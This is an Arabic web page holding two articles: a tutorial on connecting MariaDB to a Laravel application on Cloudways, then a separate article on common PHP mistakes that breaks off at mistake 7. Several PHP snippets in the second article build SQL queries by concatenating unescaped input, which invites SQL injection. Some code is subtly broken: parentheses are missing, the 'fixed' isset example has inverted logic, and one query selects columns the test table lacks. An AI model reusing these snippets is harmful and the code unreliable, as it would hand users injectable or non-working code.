يوفّر MariaDB نظام إدارة قواعد بيانات مفتوح المصدر أداءً عاليًا وأمانًا متقدمًا ومرونة في الضبط، مما يجعله مثاليًا لتطبيقات الويب القوية خصوصًا عند دمجه مع إطار عمل لارافيل Laravel و PHP المستخدمان على نطاق واسع بين المطورين.

في هذا المقال سنوضح طريقة ربط MariaDB مع لارافيل والمتطلبات اللازمة وخطوات الضبط بالتفصيل، إضافة لاختبار الاتصال بينهما.

قاعدة بيانات MariaDB

هو نظام مفتوح المصدر لإدارة قواعد البيانات العلاقية، وهو فرع من قاعدة بيانات MySQL، حيث توفر ميزات متقدمة مثل تحسين الأداء والأمان والمرونة في الضبط.

يستخدم لغة SQL لإدارة البيانات مع توافق كامل مع MySQL المعروفة والشهيرة بين المطورين، ويتعامل بكفاءة مع العمليات الكبيرة، لذا تناسب مختلف المشاريع من الصغيرة إلى المؤسسية.

مزايا MariaDB

يدعم عدة أنواع من محركات التخزين مثل InnoDB و Spider و Aria، ويقدم كل منها مزايا مختلفة تغطي معظم المتطلبات ما يوفر مرونة أكبر في التعامل مع البيانات.

وتوفر حلولًا للتوسع للتطبيقات التي تحتاج التعامل مع قاعدة البيانات بكثرة وبكميات كبيرة من البيانات مثل Galera والذي يدعم توزيع الحمل على أكثر من قاعدة بيانات وفي خوادم مختلفة ما يحسن الأداء ويخفض زمن الاستجابة، وهذه البنية في التوزيع تتيح توسيع قاعدة البيانات عند الحاجة.

كما توفر مزايا قوية لحماية البيانات وضمان صحتها و الاستيثاق Authentication وتوزيع الصلاحيات Authorization على مستخدمي قاعدة البيانات.

مزايا لارافل في التعامل مع قواعد البيانات

يوفر واجهة واحدة ثابتة للتعامل مع مختلف أنواع قواعد البيانات بما فيها MariaDB، ففي حال كان التطبيق لا يعتمد على مزايا خاصة لقاعدة بيانات من نوع معين، فيمكن بسهولة تغيير نوع قاعدة البيانات من إعدادات لارافل دون الحاجة لتعديلات الشيفرة.

كما يدعم لارافل استخدام مزايا الاستيثاق في قواعد البيانات عند استخدامها، ويوفر مزايا أمان للحماية من هجمات قواعد البيانات مثل هجوم حقن الاستعلامات SQL Injection.

إعداد خادم قاعدة البيانات على منصة Cloudways

قاعدة البيانات مثلها مثل أي برنامج آخر على الويب يجب أن تُشغّل على خادم التطبيق نفسه أو خادم منفصل مع إعداد التطبيق بعنوان خادم قاعدة البيانات ليتمكن من الوصول إليه، سنستخدم منصة Cloudways لإنشاء قاعدة بيانات MariaDB وإتاحتها على الويب.

نبدأ بإنشاء حساب وتسجيل الدخول إلى المنصة، ثم بالنقر على رابط عرض جميع الخوادم View all Servers نختار الخادم الذي نريده.

بعدها ننتقل لقسم الإعدادات والحزم Settings & Packages من شريط القائمة الأيسر، وننقر على تبويب الحزم Packages، هنا نختار إصدار MariaDB الذي نحتاجه من الخيارات الموجودة، وننقر على حفظ التغييرات Save Changes.

بذلك يكون لدينا قاعدة بيانات جاهزة مستضافة على المنصة، وسنحتاج إلى نسخ رابط الوصول واسم المستخدم وكلمة السر لقاعدة البيانات التي أنشأناها ليتمكن التطبيق الذي سنعده في الفقرة التالية من التواصل معها واستخدامها.

ربط تطبيق لارافيل مع قاعدة بيانات MariaDB

نبدأ بإنشاء التطبيق من داخل طرفية Terminal جديدة نتأكد من تثبيت أداة إنشاء المشاريع الجديدة Laravel Installer عالميًا على الجهاز باستخدام Composer بتنفيذ الأمر:

composer global require laravel/installer

باستخدام الأداة ننشئ مشروعًا جديدًا بأي اسم نريد باستبدل YourProjectName في الأمر التالي باسم المشروع:

laravel new YourProjectName

سينتج مجلد جديد يحوي جميع الملفات الأساسية للمشروع ننتقل إليه للبدء في العمل بتنفيذ الأمر:

cd YourProjectName

ضبط الربط مع قاعدة البيانات

لربط لارافل مع أي قاعدة بيانات يجب إعداد بعض القيم ضمن ملف ‎.env الموجود في مجلد الجذر للمشروع، ننسخ بعض تلك القيم من خصائص خادم قاعدة البيانات الذي أعددناه ضمن الفقرة السابقة، وكل تلك القيم تبدأ ب DB_ وهي:

DB_CONNECTION = mysql
DB_HOST = 127.0.0.1
DB_PORT = 3306
DB_DATABASE = your_database_name
DB_USERNAME = your_database_username
DB_PASSWORD = your_database_password

تعريف وإنشاء جداول قاعدة البيانات

يستخدم لارافيل ملفات التهجير لإدارة والتعريف بمخطط قاعدة البيانات، ونبدأ ذلك بإنشاء ملف تهجير ضمن المجلد database/migrations ونموذج ضمن المجلد app/Models لكيان معين مثل Post من خلال تشغيل الأمر التالي:

php artisan make:model Post -m

نعرّف حقول الجدول الجديد كما نحتاج ضمن ملف التهجير والذي سيكون اسمه مشابه للاسم xxxx_xx_xx_create_posts_table.php داخل المجلد database/migrations كما يلي:

public function up()
{
    Schema::create('posts', function (Blueprint $table) {
        $table->id();
        $table->string('title');
        $table->text('content');
        $table->timestamps();
    });
}

يمكننا تكرار الخطوات السابقة للتعريف بكل الجداول التي يحتاجها التطبيق، وبعدها ننشئ تلك الجداول في قاعدة البيانات بتطبيق ملفات التهجير تلك بتنفيذ الأمر:

php artisan migrate

إضافة البيانات إلى قاعدة البيانات

يمكن استخدام مولّد البيانات Seeder أو إضافة البيانات يدويًا باستخدام الأمر tinker في artisan والذي يبدأ جلسة صدفة Shell جديدة يمكننا فيها تنفيذ أسطر برمجية باستخدام شيفرة التطبيق بتنفيذ الأمر:

php artisan tinker

نستخدم نموذج المنشورات الذي أنشأناه سابقًا لإنشاء منشور جديد وتعيين قيم الحقول له ثم تسجيله ضمن قاعدة البيانات باستدعاء الدالة ()save وتكرار هذه الخطوات لإنشاء عدة منشورات ثم الخروج من الجلسة بتنفيذ الأمر exit كالتالي:

$post = new App\Models\Post;
$post->title = 'Sample Title';
$post->content = 'Sample Content';
$post->save();
exit;

عرض البيانات عبر التطبيق

ننشئ ملف عرض Blade جديد بالاسم posts.blade.php ضمن المجلد resources/views وفيه سنعرف طريقة عرض محتويات المنشورات بصيغة HTML ليكون الملف كالتالي:

<h1>Posts</h1>

@forelse($posts as $post)
    <div style="border:1px solid #ccc; margin:10px 0; padding:10px;">
        <h2>{{ $post->title }}</h2>
        <p>{{ $post->content }}</p>
        <small>تاريخ المنشور: {{ $post->created_at }}</small>
    </div>
@empty
    <p>لا يوجد منشورات بعد.</p>
@endforelse

ننشئ المتحكم Controller الخاص بالمنشورات بالاسم PostController ضمن المجلد app/HTTP باستخدام الأمر artisan بتنفيذ الأمر التالي:

php artisan make:controller PostController

وضمنه نكتب المنطق البرمجي لجلب المنشورات وعرضها في ملف العرض السابق لتكون شيفرة المتحكم كالتالي:

<?php
namespace App\Http\Controllers;

use App\Models\Post;
use Illuminate\Http\Request;

class PostController extends Controller
{
    /**
     * دالة عرض المنشورات
     */
    public function index()
    {
        // جلب المنشورات من قاعدة البيانات
        $posts = Post::all();

        // عرض المنشورات في ملف العرض
        return view('posts', compact('posts'));
    }
}

يبقى تعريف الموجّه Route لعرض المنشورات المخزنة ضمن جدول المنشورات ضمن قاعدة البيانات وتعيين المتحكم المقابل لها بإضافة السطر التالي داخل الملف routes/web.php:

Route::get('/posts', 'PostController@index');

نشغل خادم التطبيق ونذهب للرابط http://localhost:8000/posts ضمن المتصفح وسنرى عرض لجميع المنشورات المسجلة في قاعدة البيانات بتنفيذ أمر التشغيل:

php artisan serve

الإصدارات المدعومة من MariaDB

تدعم منصة Cloudways العديد من إصدارات MariaDB، بما في ذلك 10.0 و 10.1 و 10.2 و 10.3 و 10.4 و 10.5 و 10.6، ولكن يجب ملاحظة أن الخوادم الأحدث والخوادم التي تعمل باستخدام توزيعة Debian 10 تأتي مع MariaDB 10.4 افتراضيًا والتالي جدول قابلية الترقية من قاعدة بيانات من نوع MySQL إلى ما يقابلها:

الخلاصة

رأينا في هذا المقال سهولة ربط قاعدة بيانات MariaDB بتطبيق لارافيل عن طريق تعديل ملف .env في لارافيل لضبط الاتصال وتشغيل عمليات الـتهجير لإنشاء الجداول الأساسية وتعريف البيانات ضمنها، واستخدمنا منصة Cloudways التي توفر خيارًا سهلاً وسريعًا لاستضافة وإعداد قواعد البيانات.

يمنح هذا الدمج مزايا عديدة فهو مرن وسهل الاستخدام والتخصيص وقابل للتوسع في حال أصبح المشروع كبيرًا ويوفر مزايا أمان متقدمة، مما يمكّنك من بناء تطبيقات ويب قوية وموثوقة تلبي احتياجات المشاريع المتنوعة بكفاءة عالية.

ترجمة -وبتصرّف- للقسم How to Connect MariaDB Database to Laravel Application لصاحبه Inshal Ali.

اقرأ أيضًا

• كيفية تأمين قواعد البيانات MySQL ,MariaDB على خواديم لينكس
• كيفية استيراد وتصدير قواعد بيانات MySQL أو MariaDB
• كيفية تغيير مجلد تخزين بيانات MariaDB إلى مكانٍ آخر
• نصائح لتحسين أداء تطبيقات لارافيل

تُعدّ لغة PHP من أكثر اللغات استخدامًا في تطوير مواقع الويب لأنها سهلة وتتيح بناء تطبيقات الويب بسرعة. لكن رغم سهولتها إلا أنها تطورت وأصبحت تضم العديد من المميزات والفروق الرئيسية والدقيقة التي يمكن أن يخطئ بها المطورون بالرغم من سهولة استخدامها، فقد يقع المطورون في أخطاء بسبب هذه التفاصيل الدقيقة في اللغة، مما يستغرق منهم وقتًا طويلًا لإصلاحها. في هذا المقال. سنسلط الضوء في هذا المقال على 10 من الأخطاء الأكثر شيوعًا التي يجب على مطوري PHP توخّي الحذر منها.

الخطأ 1: ترك مراجع References المصفوفة معلّقة بعد انتهاء حلقات foreach

يمكن أن يكون استخدام المراجع في حلقات foreach مفيدًا إذا أردتَ العمل على كل عنصر من المصفوفة التي تمر عليها، فليكن لدينا مثلًا ما يلي:

$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// $arr is now array(2, 4, 6, 8)

ولكن إن لم تكن حذرًا، فقد يكون لهذه المراجع بعض الآثار الجانبية والعواقب غير المرغوب فيها، فمثلًا سيبقى المتغير ‎$value ضمن النطاق Scope وسيحتفظ بمرجع إلى العنصر الأخير من المصفوفة بعد تنفيذ الشيفرة البرمجية في المثال السابق، وبالتالي قد تؤدي العمليات اللاحقة المُطبَّقة على المتغير ‎$value إلى تعديل العنصر الأخير في المصفوفة عن غير قصد.

تذكّر أن حلقة foreach لا تنشئ نطاقًا، وبالتالي يُعَد المتغير ‎$value في المثال السابق مرجعًا ضمن النطاق العلوي للسكريبت، حيث تضبط حلقة foreach المرجع للإشارة إلى العنصر التالي من المصفوفة ‎$arr في كل تكرار، ويبقى المتغير ‎$value يؤشّر إلى العنصر الأخير من المصفوفة ‎$arr، ويبقى ضمن النطاق بعد اكتمال الحلقة.

إليك فيما يلي مثال عن نوع الأخطاء المربكة التي يمكن أن تؤدي إلى هذه المشكلة:

$array = [1, 2, 3];
echo implode(',', $array), "\n";

foreach ($array as &$value) {}    // من خلال المرجع
echo implode(',', $array), "\n";

foreach ($array as $value) {}     // من خلال القيمة (أي النسخة‫)
echo implode(',', $array), "\n";

وسيكون خرج الشيفرة البرمجية السابقة ما يلي:

1,2,3
1,2,3
1,2,2

هذا ليس خطأ مطبعيًا، فالقيمة الأخيرة في السطر الأخير هي 2 وليست 3، والسبب هو بقاء المصفوفة ‎$array دون تغيير بعد المرور على حلقة foreach الأولى، ولكن يُترَك المتغير ‎$value بوصفه مرجعًا مُعلَّقًا للعنصر الأخير في المصفوفة ‎$array لأن حلقة foreach وصلت إلى المتغير ‎$value من خلال المرجع، لذا ستحدث أشياء غريبة عندما نمر على حلقة foreach الثانية، حيث تنسخ حلقة foreach كل عنصر تسلسلي من عناصر المصفوفة ‎$array إلى المتغير ‎$value في كل خطوة من الحلقة بسبب الوصول إلى هذا المتغير من خلال القيمة (أي من خلال النسخة). إليك ما يحدث في كل خطوة من حلقة foreach الثانية:

• تمرير القيمة 1: يؤدي إلى نسخ العنصر الأول من المصفوفة ‎$array[0]‎ (أي القيمة "1") إلى المتغير ‎$value (وهو مرجع إلى العنصر ‎$array[2]‎)، لذا سيساوي ‎$array[2]‎ الآن القيمة 1، وستحتوي المصفوفة ‎$array على العناصر ‎[1, 2, 1]‎.
• تمرير القيمة 2: يؤدي إلى نسخ العنصر الثاني من المصفوفة ‎$array[1]‎ (أي القيمة "2") إلى المتغير ‎$value (وهو مرجع إلى العنصر ‎$array[2]‎)، لذا سيساوي ‎$array[2]‎ الآن القيمة 2، وستحتوي المصفوفة ‎$array على العناصر ‎[1, 2, 2]‎.
• تمرير القيمة 3: يؤدي إلى نسخ العنصر الثالث من المصفوفة ‎$array[2]‎ (الذي يساوي القيمة "2" الآن) إلى المتغير ‎$value (وهو مرجع إلى العنصر ‎$array[2]‎)، لذلك لا يزال العنصر ‎$array[2]‎ يساوي القيمة 2، وستحتوي المصفوفة ‎$array الآن على العناصر ‎[1, 2, 2]‎.

يمكن الاستفادة من استخدام المراجع في حلقات foreach دون التعرض لخطر هذه الأنواع من المشاكل من خلال استدعاء الدالة unset()‎ مع المتغير بعد حلقة foreach مباشرةً لإزالة المرجع كما في المثال التالي:

$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
unset($value);   // لم يَعُد المتغير‫ ‎$value مرجعًا إلى العنصر ‎$arr[3]‎

الخطأ 2: سوء فهم سلوك الدالة isset()‎

تعيد الدالة isset()‎ القيمة false في حالة عدم وجود عنصر، وتعيد أيضًا false للقيم null، حيث يُسبّب هذا السلوك مشكلات، فليكن لدينا المثال التالي:

$data = fetchRecordFromStorage($storage, $identifier);
if (!isset($data['keyShouldBeSet']) {
    // افعل شيئًا هنا عند عدم ضبط‫ 'keyShouldBeSet'
}

يُفترَض أننا نريد التحقق ممّا إذا كان keyShouldBeSet مضبوطًا في ‎$data، ولكن ستعيد الدالة isset($data['keyShouldBeSet'])‎ أيضًا القيمة false حتى عند ضبط ‎$data['keyShouldBeSet']‎ على القيمة null، وبالتالي يوجد تناقض مع ما ذكرناه سابقًا.

إليك أيضًا المثال التالي:

if ($_POST['active']) {
    $postData = extractSomething($_POST);
}

// ...

if (!isset($postData)) {
    echo 'post not active';
}

تفترض الشيفرة البرمجية السابقة أنه إذا أعادت ‎$_POST['active']‎ القيمة true، فسيكون postData مضبوطًا، وبالتالي ستعيد الدالة isset($postData)‎ القيمة true، وتفترض أيضًا أن الطريقة الوحيدة التي ستعيد بها الدالة isset($postData)‎ القيمة false هي إذا أعادت ‎$_POST['active']‎ القيمة false، ولكن ستعيد الدالة isset($postData)‎ القيمة false عند ضبط ‎$postData على القيمة null، وبالتالي يمكن أن تعيد الدالة isset($postData)‎ القيمة false حتى إذا أعادت ‎$_POST['active']‎ القيمة true، لذا يوجد تناقض مع ما ذكرناه سابقًا.

إذا كان الهدف من الشيفرة البرمجية السابقة هو التحقق مما إذا كانت ‎$_POST['active']‎ تعيد القيمة true، فسيكون الاعتماد على الدالة isset()‎ لذلك قرارًا برمجيًا سيئًا على أيّة حال، لذا يُفضَّل إعادة التحقق من ‎$_POST['active']‎ بدلًا من ذلك كما يلي:

if ($_POST['active']) {
    $postData = extractSomething($_POST);
}

// ...

if ($_POST['active']) {
    echo 'post not active';
}

يُعَد استخدام التابع ‎array_key_exists()‎ حلًا أكثر قوة بالنسبة للحالات التي يكون فيها من المهم التحقق مما إذا كان المتغير مضبوطًا فعليًا، أو للتمييز بين متغير غير مضبوط ومتغير مضبوط على القيمة null، فمثلًا يمكننا إعادة كتابة المثال الأول من المثالين السابقين كما يلي:

$data = fetchRecordFromStorage($storage, $identifier);
if (! array_key_exists('keyShouldBeSet', $data)) {
    // افعل ذلك عند عدم ضبط‫ 'keyShouldBeSet'
}

إذا جمعنا بين التابعين array_key_exists()‎ و get_defined_vars()‎، فيمكننا التحقق بطريقة موثوقة من ضبط متغير ضمن النطاق الحالي كما يلي:

if (array_key_exists('varShouldBeSet', get_defined_vars())) {
    // ‫المتغير ‎$varShouldBeSet موجود في النطاق الحالي
}

الخطأ 3: الخلط بين الإعادة باستخدام المرجع وإعادتها باستخدام القيمة

ليكن لدينا مقطع الشيفرة البرمجية التالي:

class Config
{
    private $values = [];

    public function getValues() {
        return $this->values;
    }
}

$config = new Config();

$config->getValues()['test'] = 'test';
echo $config->getValues()['test'];

إذا شغّلتَ الشيفرة البرمجية السابقة، فستحصل على ما يلي:

PHP Notice:  Undefined index: test in /path/to/my/script.php on line 21

تكمن المشكلة في أن هذه الشيفرة البرمجية تخلط بين إعادة المصفوفات باستخدام المرجع وإعادتها باستخدام القيمة، حيث إن لم تخبر لغةَ PHP صراحةً بإعادة المصفوفة باستخدام المرجع (أي باستخدام &)، فستعيد لغة PHP المصفوفة باستخدام القيمة افتراضيًا، وهذا يمثّل إعادة نسخة من المصفوفة، وبالتالي لن تتمكّن الدالة المُستدعاة والمستدعِي من الوصول إلى النسخة نفسها من المصفوفة.

يعيد استدعاء الدالة getValues()‎ السابق نسخة من المصفوفة ‎$values بدلًا من إعادة مرجع إليها. إذًا لنعيد النظر إلى السطرين الرئيسيين من المثال السابق:

// تعيد الدالة‫ getValues()‎ نسخة من المصفوفة ‎$values، مما يؤدي إلى إضافة عنصر 'test'
// إلى نسخة من المصفوفة‫ ‎$values، وليس إلى المصفوفة ‎$values نفسها
$config->getValues()['test'] = 'test';

// تعيد الدالة‫ getValues()‎ مرة أخرى نسخة أخرى من المصفوفة ‎$values، ولا تحتوي هذه النسخة
// ‫على عنصر 'test'، ولذلك نحصل على رسالة فهرس غير مُعرَّف "undefined index"
echo $config->getValues()['test'];

أحد الحلول الممكنة لهذه المشكلة هو حفظ النسخة الأولى من المصفوفة ‎$values التي تعيدها الدالة getValues()‎، ثم العمل على تلك النسخة لاحقًا كما في المثال التالي:

$vals = $config->getValues();
$vals['test'] = 'test';
echo $vals['test'];

ستعمل هذه الشيفرة البرمجية بنجاح، أي أنها ستعطي test دون إنشاء أيّ رسالة فهرس غير مُعرَّف "undefined index"، ولكن قد يكون هذا الأسلوب مناسبًا أو غير مناسب اعتمادًا على ما تحاول تحقيقه، إذ لن تعدّل هذه الشيفرة البرمجية المصفوفة ‎$values الأصلية، لذا إذا أردتَ أن تؤثر تعديلاتك (مثل إضافة عنصر test) على المصفوفة الأصلية، فيجب أن تعدّل الدالة getValues()‎ لإعادة مرجع إلى المصفوفة ‎$values نفسها. يمكن تحقيق ذلك من خلال إضافة & قبل اسم الدالة، مما يشير إلى أنها يجب أن تعيد مرجعًا كما يلي:

class Config
{
    private $values = [];

    // إعادة مرجع إلى المصفوفة‫ ‎$values الفعلية
    public function &getValues() {
        return $this->values;
    }
}

$config = new Config();

$config->getValues()['test'] = 'test';
echo $config->getValues()['test'];

وسيكون الخرج test كما هو متوقع.

لنجعل الآن الأمور أكثر إرباكًا كما في مقتطف الشيفرة البرمجية التالي:

class Config
{
    private $values;

    // استخدام كائن مصفوفة‫ ArrayObject بدلًا من المصفوفة
    public function __construct() {
        $this->values = new ArrayObject();
    }

    public function getValues() {
        return $this->values;
    }
}

$config = new Config();

$config->getValues()['test'] = 'test';
echo $config->getValues()['test'];

إذا اعتقدتَ أن هذه الشيفرة البرمجية ستؤدي إلى خطأ "undefined index" نفسه الموجود في مثال المصفوفة array السابق، فأنت مخطئ، إذ ستعمل هذه الشيفرة البرمجية بنجاح، والسبب هو أن لغة PHP تمرّر الكائنات من خلال المرجع دائمًا على عكس المصفوفات، فالكائن ArrayObject هو كائن من مكتبة PHP المعيارية -أو كائن SPL- يحاكي استخدام المصفوفات، ولكنه يعمل بوصفه كائنًا.

ليس من الواضح دائمًا في لغة PHP ما إذا كنت تتعامل مع نسخة أو مرجع كما توضح هذه الأمثلة، لذلك يجب أن تفهم هذه السلوكيات الافتراضية مثل تمرير المتغيرات والمصفوفات من خلال القيمة وتمرير الكائنات من خلال المرجع، ويجب التحقق بعناية من توثيق واجهة برمجة التطبيقات API الخاصة بالدالة التي تستدعيها لمعرفة ما إذا كانت تعيد قيمة، أو نسخة من مصفوفة، أو مرجعًا إلى مصفوفة، أو مرجعًا إلى كائن.

يجب أيضًا تجنب ممارسة إعادة مرجع إلى مصفوفة أو كائن ArrayObject، لأنه يوفر للمستدعِي القدرة على تعديل البيانات الخاصة للنسخة، وهذا يناقض مفهوم التغليف Encapsulation، لذا يُفضَّل استخدام النمط القديم للجوالب Getters والضوابط Setters كما في المثال التالي:

class Config
{
    private $values = [];

    public function setValue($key, $value) {
        $this->values[$key] = $value;
    }

    public function getValue($key) {
        return $this->values[$key];
    }
}

$config = new Config();

$config->setValue('testKey', 'testValue');
echo $config->getValue('testKey');    // echos 'testValue'

تمنح هذه الطريقة المستدعِي القدرةَ على ضبط أو جلب أيّ قيمة من المصفوفة دون توفير وصول عام إلى المصفوفة ‎$values الخاصة نفسها.

الخطأ 4: إجراء الاستعلامات ضمن حلقة

يمكن أن تصادف شيئًا كما يلي إذا كانت شيفرة PHP لا تعمل لديك:

$models = [];

foreach ($inputValues as $inputValue) {
    $models[] = $valueRepository->findByValue($inputValue);
}

قد لا يكون هناك أيّ شيء خاطئ، ولكن إذا اتبعت المنطق الموجود في هذه الشيفرة البرمجية، فقد تجد أن الاستدعاء البسيط السابق ‎$valueRepository->findByValue()‎ يؤدي في النهاية إلى استعلامٍ من نوعٍ ما كما يلي:

$result = $connection->query("SELECT `x`,`y` FROM `values` WHERE `value`=" . $inputValue);

لذا سيؤدي كل تكرار للحلقة السابقة إلى استعلام منفصل لقاعدة البيانات، فمثلًا إذا زوّدتَ الحلقة بمصفوفةٍ مكونة من 1000 قيمة، فستنشئ 1000 استعلام منفصل للمورد، وإذا اُستدعِي مثل هذا السكربت ضمن خيوط Threads متعددة، فيُحتمَل أن يؤدي ذلك إلى توقف النظام بأكمله، لذا يجب معرفة متى تُجري شيفرتك البرمجية الاستعلامات وجمع القيم ثم تشغيل استعلام واحد لجلب جميع النتائج كلما أمكن ذلك.

أحد الأمثلة على الأماكن الشائعة إلى حدٍ ما التي ترى فيها إجراء الاستعلام بطريقة غير فعالة (أي ضمن حلقة) هو عند نشر استمارة مع قائمة من القيم (المعرّفات مثلًا)، ثم ستمر الشيفرة البرمجية ضمن حلقة على المصفوفة وتجري استعلام SQL منفصل لكل معرّف لاسترداد بيانات السجل الكاملة لكل معرّف من هذه المعرّفات كما يلي:

$data = [];
foreach ($ids as $id) {
    $result = $connection->query("SELECT `x`, `y` FROM `values` WHERE `id` = " . $id);
    $data[] = $result->fetch_row();
}

ولكن يمكن تحقيق الشيء نفسه بفعالية أكبر في استعلام SQL واحد كما يلي:

$data = [];
if (count($ids)) {
    $result = $connection->query("SELECT `x`, `y` FROM `values` WHERE `id` IN (" . implode(',', $ids));
    while ($row = $result->fetch_row()) {
        $data[] = $row;
    }
}

لذلك يجب أن تعرف متى تجري شيفرتك البرمجية الاستعلامات سواءً بطريقة مباشرة أو غير مباشرة، ويجب أن تجمع القيم ثم تشغّل استعلامًا واحدًا لجلب جميع النتائج كلما أمكنك ذلك، ولكن يجب توخي الحذر لكي لا نحصل على خطأ PHP الشائع التالي.

الخطأ 5: تزييف استخدام الذاكرة وعدم كفاءتها

يكون جلب العديد من السجلات في وقت واحد أكثر كفاءة من تشغيل استعلام واحد لجلب كل صف، ولكن يمكن أن يؤدي هذا النهج إلى حالة "نفاد الذاكرة Out of Memory" في مكتبة libmysqlclient عند استخدام إضافة PHP التي هي mysql. ليكن لدينا مثلًا مربع اختبار مع موارد محدودة (512 ميجابايت من ذاكرة RAM) وقاعدة بيانات MySQL وواجهة سطر الأوامر php-cli، حيث سنهيّئ جدول قاعدة بيانات كما يلي:

// الاتصال بقاعدة بيانات‫ mysql
$connection = new mysqli('localhost', 'username', 'password', 'database');

// إنشاء جدول مؤلّف من 400 عمود
$query = 'CREATE TABLE `test`(`id` INT NOT NULL PRIMARY KEY AUTO_INCREMENT';
for ($col = 0; $col < 400; $col++) {
    $query .= ", `col$col` CHAR(10) NOT NULL";
}
$query .= ');';
$connection->query($query);

// كتابة 2 مليون صف
for ($row = 0; $row < 2000000; $row++) {
    $query = "INSERT INTO `test` VALUES ($row";
    for ($col = 0; $col < 400; $col++) {
        $query .= ', ' . mt_rand(1000000000, 9999999999);
    }
    $query .= ')';
    $connection->query($query);
}

لنتحقّق الآن من استخدام الموارد كما يلي:

// الاتصال بقاعدة بيانات‫ mysql
$connection = new mysqli('localhost', 'username', 'password', 'database');
echo "Before: " . memory_get_peak_usage() . "\n";

$res = $connection->query('SELECT `x`,`y` FROM `test` LIMIT 1');
echo "Limit 1: " . memory_get_peak_usage() . "\n";

$res = $connection->query('SELECT `x`,`y` FROM `test` LIMIT 10000');
echo "Limit 10000: " . memory_get_peak_usage() . "\n";

ويكون الخرج كما يلي:

Before: 224704
Limit 1: 224704
Limit 10000: 224704

لاحظ أن الاستعلامات مُدارة داخليًا بأمان فيما يتعلق بالموارد، ولكن يمكن التأكد من ذلك من خلال زيادة الحد الأقصى مرة أخرى، حيث سنضبطه على القيمة 100000، وسينتج ما يلي:

PHP Warning:  mysqli::query(): (HY000/2013):
              Lost connection to MySQL server during query in /root/test.php on line 11

المشكلة هنا هي الطريقة التي تعمل بها وحدة mysql الخاصة بلغة PHP، فهي مجرد وكيل لمكتبة libmysqlclient، والتي تذهب إلى الذاكرة مباشرةً عند تحديد جزء من البيانات. لا يدير مدير PHP الذاكرة، وبالتالي لن تعرض الدالة memory_get_peak_usage()‎ أيّ زيادة في استخدام الموارد عندما نزيد الحد الأقصى في استعلامنا. يؤدي ذلك إلى ظهور مشاكل مثل المشكلة السابقة، إذ سنُخدَع من خلال الاعتقاد بأن إدارة ذاكرتنا جيدة، ولكنها سيئة فعليًا وسنواجه مثل هذه المشكلة.

يمكنك تجنب هذا التزييف من خلال استخدام الوحدة mysqlnd بدلًا من ذلك، بالرغم من أنها لن تؤدي إلى تحسين استخدام الذاكرة، حيث تُصرَّف Compiled هذه الوحدة بوصفها إضافةً أصيلة Native للغة PHP وتستخدم مدير ذاكرة PHP، لذلك إذا أجرينا الاختبار السابق باستخدام الوحدة mysqlnd بدلًا من الوحدة mysql، فسنحصل على صورة أكثر واقعية لاستخدام ذاكرتنا.

Before: 232048
Limit 1: 324952
Limit 10000: 32572912

تستخدم الوحدة mysql ضعف عدد الموارد التي تستخدمها الوحدة mysqlnd لتخزين البيانات وفقًا لتوثيق PHP، لذا يستخدم السكربت الأصلي الذي يستخدم وحدة mysql ذاكرةً أكبر مما هو موضّح هنا فعليًا (حوالي ضعف ذلك).

يمكن تجنب مثل هذه المشاكل من خلال تحديد حجم استعلاماتك واستخدام حلقة ذات عدد صغير من التكرارات كما يلي:

$totalNumberToFetch = 10000;
$portionSize = 100;

for ($i = 0; $i <= ceil($totalNumberToFetch / $portionSize); $i++) {
    $limitFrom = $portionSize * $i;
    $res = $connection->query(
                         "SELECT `x`,`y` FROM `test` LIMIT $limitFrom, $portionSize");
}

إذا أمعنا النظر في هذا الخطأ والخطأ رقم 4، فإننا سندرك أن هناك توازنًا صحيًا تحتاج شيفرتك البرمجية إلى تحقيقه بطريقة مثالية، حيث يجب إما أن تكون استعلاماتك صغيرة ومتكررة جدًا من ناحية، أو أن يكون كل استعلام فردي كبيرًا جدًا من ناحية أخرى، لذا يجب إيجاد توازن بينهما، إذ يمكن أن يسبّب استخدام أيٍّ منهما إلى الحد الأقصى مشكلات مع شيفرة PHP البرمجية التي لن تعمل بطريقة صحيحة.

الخطأ 6: تجاهل مشكلات الترميز Unicode/UTF-8

تُعَد هذه المشكلة خاصة بلغة PHP بحد ذاتها أكثر من كونها مشكلة قد تظهر أثناء تنقيح أخطاء شيفرة PHP، ولكن هذه المشكلة لم تُعالَج بطريقة كافية، إذ كان من المقرر جعل نواة PHP 6 متوافقةً مع الترميز الموحّد Unicode، وجرى تعليق ذلك عند تعليق تطوير PHP 6 في عام 2010، ولكن ذلك لا يعفي المطور بأيّ حال من الأحوال من تقديم ترميز UTF-8 بطريقة صحيحة وتجنب الافتراض الخاطئ بأن جميع السلاسل النصية ستكون "نصًا عاديًا قديمًا يستخدم معيار ASCII". تشتهر الشيفرة البرمجية التي تفشل في معالجة السلاسل النصية التي ليست ASCII بإدخال أخطاء هايزنبغ Heisenbug المعقدة في شيفرتك البرمجية، إذ قد تسبّب حتى استدعاءات strlen($_POST['name'])‎ البسيطة مشكلات إذا حاول شخص يحمل اسم عائلة مثل "Schrödinger" التسجيل في نظامك.

إليك فيما يلي قائمة صغيرة لتجنب مثل هذه المشكلات في شيفرتك البرمجية:

• إذا كنت لا تعرف الكثير عن ترميز Unicode و UTF-8، فيجب أن تتعلّم الأساسيات على الأقل.
• تأكد من استخدام دوال mb_*‎ دائمًا بدلًا من دوال السلاسل النصية القديمة، وتأكد من تضمين إضافة "تعدد البايتات multibyte" في إصدار PHP الخاص بك.
• تأكد من ضبط قاعدة البيانات والجداول الخاصة بك لاستخدام ترميز Unicode، إذ لا تزال العديد من إصدارات MySQL تستخدم معيار latin1 افتراضيًا.
• تذكّر أن الدالة json_encode()‎ تحوّل الرموز التي ليست رموز ASCII، حيث تحوّل السلسلة النصية "Schrödinger" إلى "Schr\u00f6dinger" مثلًا، ولكن التابع serialize()‎ لا يفعل ذلك.
• تأكّد من أن ملفات شيفرة PHP البرمجية الخاصة بك مشفَّرة أيضًا باستخدام ترميز UTF-8 لتجنب التعارض عند ضم السلاسل النصية مع ثوابت السلاسل النصية المكتوبة أو المضبوطة.

اطّلع على مقال معالجة الملفات والبيانات المرمزة بترميز UTF-8 في PHP لمزيدٍ من المعلومات.

الخطأ 7: افتراض أن المصفوفة ‎$_POST ستحتوي على بيانات POST الخاصة بك دائمًا

